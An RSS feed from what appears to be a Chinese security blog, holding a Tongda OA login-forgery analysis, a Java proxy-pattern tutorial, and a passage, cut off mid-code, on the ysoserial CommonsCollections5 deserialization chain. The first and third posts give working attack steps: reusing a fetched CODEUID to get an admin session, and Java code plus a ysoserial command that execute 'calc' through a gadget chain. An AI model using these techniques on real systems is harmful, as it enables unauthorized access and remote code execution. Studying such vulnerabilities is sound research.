<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>专题之审计篇 &#8211; ChaBug安全</title>
	<atom:link href="/special/codeaudit/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 23 Apr 2020 07:20:11 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>通达OA前台任意伪造用户登录分析</title>
		<link>/audit/1516.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 23 Apr 2020 07:20:11 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[通达OA]]></category>
		<guid isPermaLink="false">/?p=1516</guid>

					<description><![CDATA[环境 通达OA历史版本下载：https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe 解密工具：https://pan.baidu.c...]]>/</description>
										<content:encoded><![CDATA[<h2>环境</h2>
<p><span class="wpcom_tag_link"><a href="/tags/%e9%80%9a%e8%be%beoa" title="通达OA" target="_blank">通达OA</a></span>历史版本下载：https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe</p>
<p>解密工具：https://pan.baidu.com/s/1c14V6pi</p>
<h2>复现</h2>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ddd98fa5-faf4-efe2-358d-4bfb7b59d0aa.png" alt="image.png" /></p>
<p><img src="/wp-content/uploads/2020/04/aab605e2-fd67-afca-05e3-744d9c758379.png" alt="image.png" /></p>
<p>拿到UID为1及管理员的SESSION直接登陆<br />
<img src="/wp-content/uploads/2020/04/15c01dd4-77c5-11ae-8d01-b690c11da794.png" alt="image.png" /></p>
<h2>分析</h2>
<p><img src="/wp-content/uploads/2020/04/c1de3eb3-a674-aee4-3924-43abb795dbc8.png" alt="image.png" /><br />
在logincheck_code.php中UID可控，当UID为1时，用户默认为admin管理员。<br />
<img src="/wp-content/uploads/2020/04/58644cef-1068-5bfa-7874-e752b9f1d874.png" alt="image.png" /><br />
在其后180行左右将信息保存到SESSION中。那么只要绕过了18行的exit()就可以了。</p>
<pre><code class="language-php ">$CODEUID = $_POST["CODEUID"];
$login_codeuid = TD::get_cache("CODE_LOGIN" . $CODEUID);
if (!isset($login_codeuid) || empty($login_codeuid)) {
    $databack = array("status" =&gt; 0, "msg" =&gt; _("参数错误！"), "url" =&gt; "general/index.php?isIE=0");
    echo json_encode(td_iconv($databack, MYOA_CHARSET, "utf-8"));
    exit();
}
</code></pre>
<p>login_codeuid 从redis缓存中<code>TD::get_cache()</code>获取<code>"CODE_LOGIN" . $CODEUID</code>，搜索下可不可控<br />
<img src="/wp-content/uploads/2020/04/d2d38ac6-580a-c3e3-c42d-e859f24f347c.png" alt="image.png" /></p>
<p>跟进<code>generallogin_code.php</code></p>
<pre><code class="language-php ">&lt;?php

include_once "inc/utility_all.php";
include_once "inc/utility_cache.php";
include_once "inc/phpqrcode.php";
$codeuid = $_GET["codeuid"];
$login_codeuid = TD::get_cache("CODE_LOGIN" . $codeuid);
$tempArr = array();
$login_codeuid = (preg_match_all("/[^a-zA-Z0-9-{}/]+/", $login_codeuid, $tempArr) ? "" : $login_codeuid);

if (empty($login_codeuid)) {
    $login_codeuid = getUniqid();
}

$databack = array("codeuid" =&gt; $login_codeuid, "source" =&gt; "web", "codetime" =&gt; time());
$dataStr = td_authcode(json_encode($databack), "ENCODE");
$dataStr = "LOGIN_CODE" . $dataStr;
$data = QRcode::text($dataStr, false, "L", 4);
$data = serialize($data);
if (($data != "") &amp;&amp; ($data != NULL)) {
    if (unserialize($data)) {
        $matrixPointSize = 1.5;
        QRimage::png(unserialize($data), false, $matrixPointSize);
    }
    else {
        $im = imagecreatefromstring($data);

        if ($im !== false) {
            header("Content-Type: image/png");
            imagepng($im);
        }
    }
}

TD::set_cache("CODE_LOGIN" . $login_codeuid, $login_codeuid, 120);
$databacks = array("status" =&gt; 1, "code_uid" =&gt; $login_codeuid);
echo json_encode(td_iconv($databacks, MYOA_CHARSET, "utf-8"));
echo "rnrnrn";

?&gt;
</code></pre>
<p>当<code>$login_codeuid</code>为空时会<code>getUniqid()</code>生成一个存入redis缓存并且在最后echo出来。所以我们可以通过直接get请求<code>generallogin_code.php</code>拿到<code>CODEUID</code><br />
<img src="/wp-content/uploads/2020/04/b74a0aaf-5a0a-0cae-5763-171b1c437746.png" alt="image.png" /><br />
使用之前的CODEUID即可绕过if条件的exit()。</p>
<h2>总结</h2>
<p>很蠢的错误。通达真的不考虑抛弃全局变量覆盖吗？</p>
<p>拓展下的话，尝试寻找下通过get_cache()获取的变量影响到sql语句什么的。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java代理模式学习</title>
		<link>/audit/1468.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 09 Apr 2020 03:38:56 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[代理模式]]></category>
		<category><![CDATA[动态代理]]></category>
		<category><![CDATA[静态代理]]></category>
		<guid isPermaLink="false">/?p=1468</guid>

					<description><![CDATA[被问到了，就补一下。 简述代理模式 代理是英文(Proxy)翻译过来的，在我们的实际生活中，最常见的代理模式应该是朋友圈中的微商了。在起初的时候，厂商直接对标顾客，没有微商在中间赚...]]></description>
										<content:encoded><![CDATA[<p>被问到了，就补一下。<br />
<span id="more-1468"></span></p>
<h2>简述<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%90%86%e6%a8%a1%e5%bc%8f" title="代理模式" target="_blank">代理模式</a></span></h2>
<p>代理是英文(Proxy)翻译过来的，在我们的实际生活中，最常见的代理模式应该是朋友圈中的微商了。在起初的时候，厂商直接对标顾客，没有微商在中间赚差价，结构就是如图。<br />
<img src="https://y4er.com/img/uploads/20200413098650.png" alt="image" /><br />
之后慢慢的微商汇总了优质资源，顾客没必要自己去挑厂商货比三家，只需要从微商那里买就行了。所有就有了如下的结构：<br />
<img src="https://y4er.com/img/uploads/20200413093796.png" alt="image" /><br />
而程序设计都是从生活中的实例出现的，所以Java中也产生了代理模式。</p>
<p>在Java中存在几种代理模式：<br />
&#8211; <span class="wpcom_tag_link"><a href="/tags/%e9%9d%99%e6%80%81%e4%bb%a3%e7%90%86" title="静态代理" target="_blank">静态代理</a></span><br />
&#8211; <span class="wpcom_tag_link"><a href="/tags/%e5%8a%a8%e6%80%81%e4%bb%a3%e7%90%86" title="动态代理" target="_blank">动态代理</a></span></p>
<p>本文将一一介绍</p>
<h2>静态代理</h2>
<p>当我们看到了微商不厌其烦刷朋友圈的广告，耐不住优惠从微商那里买了一双，微商可能还会向我们推一些别的优惠活动之类的，那么这个过程我们用代码模拟一下。</p>
<p>首先我们需要有一个鞋子的接口，通用的接口是代理模式实现的基础。定义一个sell接口，代表鞋子可以被卖出去的能力。</p>
<pre><code class="language-java ">package com.proxy.weishang;

// 定义鞋子接口
public interface Shoes {
    void sell();
}
</code></pre>
<p>然后再来一个真正的鞋子类，需要实现Shoes的接口</p>
<pre><code class="language-java ">package com.proxy.weishang;

// 真正的鞋子类
public class RealShoes implements Shoes {
    @Override
    public void sell() {
        System.out.println("卖出了一双鞋子哦，美汁汁~");
    }
}
</code></pre>
<p>和一个代理类(微商类)</p>
<pre><code class="language-java ">package com.proxy.weishang;

// 微商 代理
public class MicroSell implements Shoes {
    RealShoes realShoes;

    public MicroSell(RealShoes realShoes) {
        this.realShoes = realShoes;
    }

    public void setRealShoes(RealShoes realShoes) {
        this.realShoes = realShoes;
    }


    @Override
    public void sell() {
        beforeSell();
        realShoes.sell();
        afterSell();
    }

    public void beforeSell() {
        System.out.println("买之前宣传：帅哥，买双鞋子吗？高仿阿迪199两双");
    }

    public void afterSell() {
        System.out.println("买之后推销：帅哥，再来双高仿耐克？");
    }
}
</code></pre>
<p>接下来我们测试下</p>
<pre><code class="language-java ">package com.proxy;

import com.proxy.weishang.MicroSell;
import com.proxy.weishang.RealShoes;

public class Main {

    public static void main(String[] args) {
        MicroSell microSell = new MicroSell(new RealShoes());
        microSell.sell();
    }
}
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200413091819.png" alt="image" /><br />
在微商卖出鞋子的前后，执行了<code>beforeSell</code>和<code>afterSell</code>疯狂推销，那么使用代理模式的好处就在于这，<strong>从之前最基本的厂商对顾客，鞋子只有单一的sell能力，而使用代理模式之后，我们并没有改变鞋子的sell能力就可以对其进行功能的拓展和附加</strong>。</p>
<p>总结一下静态代理的优点：<br />
1. 无需修改被代理的对象<br />
2. 无损拓展功能<br />
3. 解耦合</p>
<p>缺点当然也存在：<br />
1. 要为每一个接口实现代理类，一旦接口增加方法，目标对象与代理对象都要维护。</p>
<h2>动态代理</h2>
<p>动态代理也是代理，他和静态代理的功能和目的是没有区别的，唯一的区别就在于动态代理是动态生成的，省去为接口实现代理类的操作。</p>
<h3>何为动态生成</h3>
<p>其实就是Java在内存中创建了一个实现接口的代理，而不需要我们自己定义。多说无益，看代码</p>
<p>我们仍然使用微商的例子来进行讲解。当微商想卖你莆田耐克的时候：</p>
<pre><code class="language-java ">package com.proxy.dynamicProxy;

// 定义鞋子接口
public interface Shoes {
    void sell();
}
</code></pre>
<pre><code class="language-java ">package com.proxy.dynamicProxy;

// Nike鞋
public class NikeShoes implements Shoes {
    @Override
    public void sell() {
        System.out.println("卖出去一双莆田耐克，美滋滋~");
    }
}
</code></pre>
<pre><code class="language-java ">package com.proxy.dynamicProxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class dynamicMicroSell implements InvocationHandler {
    Object shoes;

    public dynamicMicroSell(Object shoes) {
        this.shoes = shoes;
    }

    public void setShoes(Object shoes) {
        this.shoes = shoes;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("推销前：美女莆田阿迪来一双？");
        method.invoke(shoes, args);
        System.out.println("推销后：耐克要吗？");
        return null;
    }
}
</code></pre>
<p>测试下</p>
<pre><code class="language-java ">package com.proxy;

import com.proxy.dynamicProxy.AdidasShoes;
import com.proxy.dynamicProxy.NikeShoes;
import com.proxy.dynamicProxy.Shoes;
import com.proxy.dynamicProxy.dynamicMicroSell;

import java.lang.reflect.Proxy;

public class Main {

    public static void main(String[] args) {
        NikeShoes nikeShoes = new NikeShoes();
        dynamicMicroSell nikeSeller = new dynamicMicroSell(nikeShoes);
        Shoes nikeProxy = (Shoes) Proxy.newProxyInstance(NikeShoes.class.getClassLoader(), NikeShoes.class.getInterfaces(), nikeSeller);
        nikeProxy.sell();
    }
}
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200413098331.png" alt="image" /><br />
可以看到我并没有像静态代理那样重新实现一个代理类，而是实现了 <code>InvocationHandler</code> 接口的invoke方法实现的代理。通过<code>Proxy.newProxyInstance()</code>创建了一个代理类来执行sell方法。</p>
<p>先不说InvocationHandler到底是什么东西，我们此时如果想要拓展一个阿迪鞋子的接口，应该怎么用动态代理实现？很简单，新建一个AdidasShoes还是实现Shoes接口</p>
<pre><code class="language-java ">package com.proxy.dynamicProxy;

public class AdidasShoes implements Shoes {
    @Override
    public void sell() {
        System.out.println("卖出去一双莆田阿迪，美滋滋~");
    }
}
</code></pre>
<p>其他不需要变化，在main中通过dynamicMicroSell和Proxy.newProxyInstance()动态生成代理类就可以了</p>
<pre><code class="language-java ">package com.proxy;

import com.proxy.dynamicProxy.AdidasShoes;
import com.proxy.dynamicProxy.NikeShoes;
import com.proxy.dynamicProxy.Shoes;
import com.proxy.dynamicProxy.dynamicMicroSell;

import java.lang.reflect.Proxy;

public class Main {

    public static void main(String[] args) {
        NikeShoes nikeShoes = new NikeShoes();
        dynamicMicroSell nikeSeller = new dynamicMicroSell(nikeShoes);
        Shoes nikeProxy = (Shoes) Proxy.newProxyInstance(NikeShoes.class.getClassLoader(), NikeShoes.class.getInterfaces(), nikeSeller);
        nikeProxy.sell();

        AdidasShoes adidasShoes = new AdidasShoes();
        dynamicMicroSell adidasSeller = new dynamicMicroSell(adidasShoes);
        Shoes adidasProxy = (Shoes) Proxy.newProxyInstance(AdidasShoes.class.getClassLoader(), NikeShoes.class.getInterfaces(), adidasSeller);
        adidasProxy.sell();

    }
}
</code></pre>
<p>运行如图<br />
<img src="https://y4er.com/img/uploads/20200413094565.png" alt="image" /></p>
<p><strong>动态代理的优点是很明显的，它不需要为每一个接口都创建代理类，大大减少重复工作。</strong></p>
<h3>动态代理的秘密</h3>
<p>在我们使用静态代理的时候，是通过<code>new MicroSell()</code>创建代理实例，动态代理肯定也有创建实例的动作，要找到在哪里创建了代理实例，我们需要跟进到Proxy.newProxyInstance()一探究竟</p>
<pre><code class="language-java ">public static Object newProxyInstance(ClassLoader loader,
                                      Class&lt;?&gt;[] interfaces,
                                      InvocationHandler h)
    throws IllegalArgumentException
{
    Objects.requireNonNull(h);

    final Class&lt;?&gt;[] intfs = interfaces.clone();
    final SecurityManager sm = System.getSecurityManager();
    if (sm != null) {
        checkProxyAccess(Reflection.getCallerClass(), loader, intfs);
    }

    /*
         * Look up or generate the designated proxy class.
         */
    Class&lt;?&gt; cl = getProxyClass0(loader, intfs);

    /*
         * Invoke its constructor with the designated invocation handler.
         */
    try {
        if (sm != null) {
            checkNewProxyPermission(Reflection.getCallerClass(), cl);
        }

        final Constructor&lt;?&gt; cons = cl.getConstructor(constructorParams);
        final InvocationHandler ih = h;
        if (!Modifier.isPublic(cl.getModifiers())) {
            AccessController.doPrivileged(new PrivilegedAction&lt;Void&gt;() {
                public Void run() {
                    cons.setAccessible(true);
                    return null;
                }
            });
        }
        return cons.newInstance(new Object[]{h});
    } catch (IllegalAccessException|InstantiationException e) {
        throw new InternalError(e.toString(), e);
    } catch (InvocationTargetException e) {
        Throwable t = e.getCause();
        if (t instanceof RuntimeException) {
            throw (RuntimeException) t;
        } else {
            throw new InternalError(t.toString(), t);
        }
    } catch (NoSuchMethodException e) {
        throw new InternalError(e.toString(), e);
    }
}
</code></pre>
<p>可以看到通过cl这个class反射调用其构造函数返回了一个实例</p>
<pre><code class="language-java ">private static Class&lt;?&gt; getProxyClass0(ClassLoader loader,
                                       Class&lt;?&gt;... interfaces) {
    if (interfaces.length &gt; 65535) {
        throw new IllegalArgumentException("interface limit exceeded");
    }

    // If the proxy class defined by the given loader implementing
    // the given interfaces exists, this will simply return the cached copy;
    // otherwise, it will create the proxy class via the ProxyClassFactory
    return proxyClassCache.get(loader, interfaces);
}
</code></pre>
<p>直接通过缓存获取，如果获取不到，注释说会通过 ProxyClassFactory 生成。</p>
<pre><code class="language-java ">private static final class ProxyClassFactory
    implements BiFunction&lt;ClassLoader, Class&lt;?&gt;[], Class&lt;?&gt;&gt;
{
    // prefix for all proxy class names
    private static final String proxyClassNamePrefix = "$Proxy";

    // next number to use for generation of unique proxy class names
    private static final AtomicLong nextUniqueNumber = new AtomicLong();

    @Override
    public Class&lt;?&gt; apply(ClassLoader loader, Class&lt;?&gt;[] interfaces) {

        Map&lt;Class&lt;?&gt;, Boolean&gt; interfaceSet = new IdentityHashMap&lt;&gt;(interfaces.length);
        for (Class&lt;?&gt; intf : interfaces) {
            /*
                 * Verify that the class loader resolves the name of this
                 * interface to the same Class object.
                 */
            Class&lt;?&gt; interfaceClass = null;
            try {
                interfaceClass = Class.forName(intf.getName(), false, loader);
            } catch (ClassNotFoundException e) {
            }
            if (interfaceClass != intf) {
                throw new IllegalArgumentException(
                    intf + " is not visible from class loader");
            }
            /*
                 * Verify that the Class object actually represents an
                 * interface.
                 */
            if (!interfaceClass.isInterface()) {
                throw new IllegalArgumentException(
                    interfaceClass.getName() + " is not an interface");
            }
            /*
                 * Verify that this interface is not a duplicate.
                 */
            if (interfaceSet.put(interfaceClass, Boolean.TRUE) != null) {
                throw new IllegalArgumentException(
                    "repeated interface: " + interfaceClass.getName());
            }
        }

        String proxyPkg = null;     // package to define proxy class in
        int accessFlags = Modifier.PUBLIC | Modifier.FINAL;

        /*
             * Record the package of a non-public proxy interface so that the
             * proxy class will be defined in the same package.  Verify that
             * all non-public proxy interfaces are in the same package.
             */
        for (Class&lt;?&gt; intf : interfaces) {
            int flags = intf.getModifiers();
            if (!Modifier.isPublic(flags)) {
                accessFlags = Modifier.FINAL;
                String name = intf.getName();
                int n = name.lastIndexOf('.');
                String pkg = ((n == -1) ? "" : name.substring(0, n + 1));
                if (proxyPkg == null) {
                    proxyPkg = pkg;
                } else if (!pkg.equals(proxyPkg)) {
                    throw new IllegalArgumentException(
                        "non-public interfaces from different packages");
                }
            }
        }

        if (proxyPkg == null) {
            // if no non-public proxy interfaces, use com.sun.proxy package
            proxyPkg = ReflectUtil.PROXY_PACKAGE + ".";
        }

        /*
             * Choose a name for the proxy class to generate.
             */
        long num = nextUniqueNumber.getAndIncrement();
        String proxyName = proxyPkg + proxyClassNamePrefix + num;

        /*
             * Generate the specified proxy class.
             */
        byte[] proxyClassFile = ProxyGenerator.generateProxyClass(
            proxyName, interfaces, accessFlags);
        try {
            return defineClass0(loader, proxyName,
                                proxyClassFile, 0, proxyClassFile.length);
        } catch (ClassFormatError e) {
            /*
                 * A ClassFormatError here means that (barring bugs in the
                 * proxy class generation code) there was some other
                 * invalid aspect of the arguments supplied to the proxy
                 * class creation (such as virtual machine limitations
                 * exceeded).
                 */
            throw new IllegalArgumentException(e.toString());
        }
    }
}
</code></pre>
<p>可知代理类名为<code>String proxyName = proxyPkg + proxyClassNamePrefix + num</code>，即<strong>包名+$Proxy+id序号</strong></p>
<p>生成代理类的核心代码</p>
<pre><code class="language-java ">byte[] proxyClassFile = ProxyGenerator.generateProxyClass(proxyName, interfaces, accessFlags);
return defineClass0(loader, proxyName,proxyClassFile, 0, proxyClassFile.length);
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200413094247.png" alt="image" /></p>
<p>通过修改Java字节码的形式定义class，这就是动态代理自动生成的秘密。来看下动态代理的类名<br />
<img src="https://y4er.com/img/uploads/20200413099929.png" alt="image" /></p>
<h2>总结</h2>
<p>代理模式被运用于spring框架的aop面向切面编程中，个人业务需求可以应用在日志记录、性能统计等场景中。</p>
<p>最后几句话总结下：<br />
1. 代理模式的好处在于不修改现有代码的基础上进行拓展功能<br />
2. 不管是动态还是静态代理都要实现接口，本质是面向接口编程<br />
3. 静态代理需要自己实现Proxy类，动态由Proxy.newInstance()反射动态生成<br />
4. 两者区别在于是否需要自己手动实现Proxy类</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ysoserial CommonsCollections 5 反序列化分析</title>
		<link>/audit/1127.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 19 Jan 2020 11:35:51 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[反射]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1127</guid>

					<description><![CDATA[迷迷糊糊看了一个多月Java，把学校学的javaweb捡了起来，自己又看了看spring，想了想与其审计TOP10的漏洞，还是反序列化最考验审计能力和逻辑思维，干脆一不做二不休把y...]]></description>
										<content:encoded><![CDATA[<p>迷迷糊糊看了一个多月Java，把学校学的<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>web捡了起来，自己又看了看spring，想了想与其审计TOP10的漏洞，还是<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>最考验审计能力和逻辑思维，干脆一不做二不休把<code>ysoserial</code>的反序列化链拿来研究研究，不想写文章，但是又觉得看得懂的东西还是写一写才能记得住。文笔不好，自己明白的东西写出来不一定明了，有问题的直接留言吧。</p>
<h1>前言</h1>
<p>Apache Commons Collections 的漏洞最早是2015年 <a href="https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/">FoxGlove Security</a> 安全团队在其博客中发表了一篇长文，全面阐述了此漏洞对各种中间件的影响。</p>
<p>在我的上篇关于 <a href="https://y4er.com/post/java-deserialization-1/">Java反序列化</a> 的文章中，简单提到了反序列化的入口(readObject)和<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%b0%84" title="反射" target="_blank">反射</a></span>，本文我们根据上文的基础来学习 <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java">ysoserial CommonsCollections5</a> 的反序列化流程。</p>
<h1>搭建环境</h1>
<p>使用idea创建一个maven项目，在pom.xml文件中加入commons-collections依赖。</p>
<pre data-language=XML><code class="language-markup ">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt;
    &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;

    &lt;groupId&gt;org.example&lt;/groupId&gt;
    &lt;artifactId&gt;ysoserialPayload&lt;/artifactId&gt;
    &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt;
    &lt;dependencies&gt;
        &lt;dependency&gt;
            &lt;groupId&gt;commons-collections&lt;/groupId&gt;
            &lt;artifactId&gt;commons-collections&lt;/artifactId&gt;
            &lt;version&gt;3.1&lt;/version&gt;
        &lt;/dependency&gt;
    &lt;/dependencies&gt;

&lt;/project&gt;
</code></pre>
<p>创建一个Java文件，包含反序列化的方法，其中<code>deserialize()</code>是从test.ser中读取对象并进行反序列化。</p>
<pre><code class="language-java ">package payload;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class CommonsCollections5 {
    public static void main(String[] args) {
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}
</code></pre>
<h1>漏洞复现</h1>
<p>使用ysoserial生成payload</p>
<pre><code class="">java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 calc &gt; test.ser
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200119192547.png" alt="20200119192547" /><br />
成功弹出计算器。</p>
<h1>漏洞分析</h1>
<p>在 <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java">ysoserial的payload</a> 中，我们可以看到问题出在 org.apache.commons.collections.functors.InvokerTransformer，在这个类中实现了Serializable接口，并且有一个transform方法。</p>
<pre><code class="language-java ">public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}
</code></pre>
<p>这明显是反射的用法，使用transform方法我们可以调用Runtime类执行命令</p>
<p><img src="/wp-content/uploads/2020/01/20200119192613.png" alt="20200119192613" /></p>
<p>但是我们知道，在反序列化时都是执行 <code>readObject()</code> 函数就行了，但是直接序列化 <code>InvokerTransformer</code> 类我们还需要再次执行 <code>invokerTransformer.transform()</code> ，这是不现实的，并且Runtime.getRuntime() 我们也需要用反射构造。所以我们现在的目的就在于寻找看哪里调用了 <code>transform()</code> 方法。</p>
<p>最终找到了org.apache.commons.collections.functors.ChainedTransformer</p>
<pre><code class="language-java ">public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i &lt; this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}
</code></pre>
<p>在这个transform中 <code>iTransformers[i]</code> 就是InvokerTransformer对象，构造代码。</p>
<pre><code class="language-java ">package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

class CommonsCollections5Test {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        chain.transform(null);
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/01/20200119192641.png" alt="20200119192641" /></p>
<p>不得不说，漏洞发现者的思维真的是秒，这个链首先 <code>new ConstantTransformer(Runtime.class)</code> 通过其构造方法拿到了Runtime类，然后通过InvokerTransformer的反射功能拿到getRuntime()，然后又用一个InvokerTransformer拿到了invoke()，最后再用InvokerTransformer拿到exec，达成执行命令的效果。整个链写成一句代码是这样的：</p>
<pre><code class="language-java ">((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
</code></pre>
<p>但是此时我们仍然需要调用transform()方法，才能触发<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>。在实际情况中，我们希望执行readObject()之后就可以进行rce，那么我们找一下哪里重写了readObject()函数，并且<strong>直接或者间接的</strong>调用了transform()方法。</p>
<p>在org.apache.commons.collections.map.LazyMap#get中调用了transform()</p>
<pre><code class="language-java ">public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}
</code></pre>
<p>org.apache.commons.collections.keyvalue.TiedMapEntry中</p>
<pre><code class="language-java ">public Object getValue() {
    return this.map.get(this.key);
}
......
public String toString() {
    return this.getKey() + "=" + this.getValue();
}
</code></pre>
<p>getValue()调用了map的get()方法，而toString()中又调用了getValue()，而在BadAttributeValueExpException类中重写了readObject方法</p>
<pre><code class="language-java ">public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}
public String toString()  {
    return "BadAttributeValueException: " + val;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
               || valObj instanceof Long
               || valObj instanceof Integer
               || valObj instanceof Float
               || valObj instanceof Double
               || valObj instanceof Byte
               || valObj instanceof Short
               || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}
</code></pre>
<p>成了！反序列化时自动调用toString()，那么我们可以这样做：<br />
1. 以TiedMapEntry对象为参数声明一个BadAttributeValueExpException对象，反序列化自动调用TiedMapEntry.toString()<br />
2. 上一步的toString触发TiedMapEntry.getValue()，进而触发LazyMap.get()<br />
3. LazyMap.get()触发ChainedTransformer.transform()实现rce!</p>
<p>构造代码</p>
<pre><code class="language-java ">package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

class CommonsCollections5Test {
    public static void main(String[] args) throws Exception {
        //        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
            // 传入Runtime类
            new ConstantTransformer(Runtime.class),
            // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
